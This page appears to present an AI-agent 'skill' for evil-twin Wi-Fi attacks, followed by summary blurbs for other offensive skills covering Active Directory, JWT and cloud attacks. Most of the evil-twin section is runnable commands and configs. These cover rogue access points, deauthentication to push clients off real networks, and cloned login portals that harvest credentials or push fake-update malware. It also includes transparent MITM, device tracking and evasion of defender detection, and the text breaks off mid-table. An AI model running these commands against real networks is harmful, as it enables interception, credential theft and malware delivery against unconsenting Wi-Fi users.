offensive-evil-twin
**offensive-evil-twin** automates rogue Wi-Fi access point creation using hostapd-mana, wifiphisher, and airgeddon to impersonate legitimate networks or respond to client probes. This skill establishes transparent MITM position between victims and gateways, enabling traffic interception, credential harvesting via captive portals, and payload delivery. Use during authorized penetration tests targeting wireless infrastructure or client security validation where direct network access control is required.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red /tmp/offensive-evil-twin && cp -r /tmp/offensive-evil-twin/Skills/wireless/offensive-evil-twin ~/.claude/skills/offensive-evil-twinSKILL.md
# Evil Twin / KARMA / Mana Stand up an AP that looks like (or is more attractive than) the legitimate target. Clients associate, you become their gateway, you intercept everything. The classic "captive portal at the airport" attack pattern, scaled to whatever the engagement requires. ## Quick Workflow 1. Discover target ESSID(s) clients are looking for (PNL — Preferred Network List) 2. Stand up rogue AP advertising matching ESSID(s) 3. (Optional) Deauth clients off legitimate AP to push them toward yours 4. Run captive portal / transparent MITM 5. Capture creds, deliver payload, or harvest sessions --- ## Variants | Variant | Mechanic | Use Case | |---|---|---| | **Evil Twin** | Same ESSID + BSSID as legit AP | Open or PSK-known networks (ISP cafe Wi-Fi, public guest) | | **KARMA** | Respond "yes" to every probe request | Clients with broad PNLs (most older devices) | | **Mana** | Respond selectively to probes per-client | KARMA-aware MAC randomization defenses | | **Known Beacons** | Beacon a list of likely-known ESSIDs | Wide-net attraction without seeing probes first | | **Captive Portal** | Force splash page on association | Phishing, payload delivery | ## Open / PSK-Known Evil Twin Use when you know (or have cracked) the PSK. ```bash # wifiphisher — opinionated automation including portal templates sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd # airgeddon (interactive menu, good for one-off) sudo airgeddon # → Evil Twin attacks menu → Captive Portal # Manual: hostapd + dnsmasq + iptables redirect cat > /tmp/hostapd.conf <<EOF interface=wlan0 driver=nl80211 ssid=CorpWiFi hw_mode=g channel=6 auth_algs=1 wpa=2 wpa_passphrase=KnownPSK wpa_key_mgmt=WPA-PSK rsn_pairwise=CCMP EOF sudo hostapd /tmp/hostapd.conf & # DHCP/DNS via dnsmasq cat > /tmp/dnsmasq.conf <<EOF interface=wlan0 dhcp-range=10.10.10.10,10.10.10.50,12h dhcp-option=3,10.10.10.1 dhcp-option=6,10.10.10.1 address=/#/10.10.10.1 # wildcard DNS to attacker EOF sudo dnsmasq -C /tmp/dnsmasq.conf -d ``` ## KARMA — Universal Probe Response ```bash # hostapd-mana with KARMA mode enabled (mana_mode=1) cat > /tmp/karma.conf <<EOF interface=wlan0 ssid=KARMA hw_mode=g channel=6 mana_loud=1 mana_macacl=0 EOF sudo hostapd-mana /tmp/karma.conf ``` Modern clients with MAC randomization probe with random MACs and a randomized PNL — KARMA's universal-yes response is now triggers on probes the client wouldn't actually associate to. Use Mana for better selectivity. ## Mana — Selective Per-Client Response ```bash # hostapd-mana (default mode is mana, not loud) cat > /tmp/mana.conf <<EOF interface=wlan0 ssid=Free-WiFi hw_mode=g channel=6 mana_mode=1 mana_macacl=0 mana_outfile=/tmp/mana.log EOF sudo hostapd-mana /tmp/mana.conf ``` Mana tracks MAC → ESSID-probe-list. When that MAC associates, Mana picks one realistic ESSID from its observed probe list and responds consistently. Defeats KARMA-aware client-side mitigations. ## Known Beacons Attack ```bash # eaphammer can broadcast a list of likely-known ESSIDs as actual beacons eaphammer --essid-file likely_essids.txt --hostile-portal # likely_essids.txt: airport, cafe, hotel, office defaults from open intel ``` Beacons attract spontaneous association from devices whose PNLs include these names. Useful when you don't see probes (modern devices broadcast fewer probes than they used to). ## Deauth Coercion Push existing clients off legitimate AP to your evil twin: ```bash # On a different interface (or after stopping airbase-ng) sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2 ``` Combined with stronger signal (closer position) or higher TX power on your AP, the client roams to you on reconnection. **Detection trade-off:** broadcast deauth is loud; targeted single-client deauth is quieter. PMF (802.11w) blocks unencrypted deauth — see `offensive-deauth-disassoc`. ## Captive Portal / Credential Capture ```bash # Portal options in eaphammer / wifiphisher / airgeddon include: # - Generic OAuth-style (Google/MS/Facebook clones) # - Vendor router login pages (matched to nearby AP brand) # - Corporate-themed portal harvesting AD creds # - Update-required prompts delivering EXE/APK payloads # Custom: simple Flask+iptables setup iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080 iptables -t nat -A POSTROUTING -j MASQUERADE python3 -m flask run --host=10.10.10.1 --port=8080 ``` For high-fidelity portals, mirror the legitimate captive portal's HTML/CSS exactly. Most users skim, don't read URLs. ## Post-Association MITM Once a client associates and you're their gateway: ```bash # Transparent TLS MITM (requires CA cert install on client OR clients with MITM-able apps) mitmproxy --mode transparent --showhost --ssl-insecure # Bettercap full pipeline (sniff, ARP, DNS, JS injection) sudo bettercap -iface wlan0 -eval "set arp.spoof.targets *; arp.spoof on; net.sniff on; http.proxy on" ``` Without portal-level CA install, modern HTTPS / HSTS / certificate pinning prevents most TLS interception. Useful targets: - Captive portal cleartext flows - Apps with broken pinning (run `offensive-mobile` skills against the app) - Plain-HTTP services still in use (legacy IoT, old mgmt panels) - DNS hijack (return attacker IPs for non-pinned services) ## MAC Randomization Defeat iOS, recent Android, and Windows 11 randomize MACs per network. They still leak per-network stable identifiers in: - Per-SSID MAC consistency (same MAC for same SSID over time) - Probe sequence numbers - 802.11 IE order (manufacturer fingerprint) ```bash # Cluster probes to track devices across MACs hcxdumptool -i wlan0mon --enable_status=15 --rds=2 # Analyze with hcxhash2cap / wifite-style fingerprinting ``` ## Detection Considerations | Defender Signal | Mitigation by Attacker | |---|---| | Rogue AP detection (BSSID not in WIPS allow-list) | Match real BSSID exactly + suppress own AP advertisement | | KARMA pattern (single AP responding t
Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps.
Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture.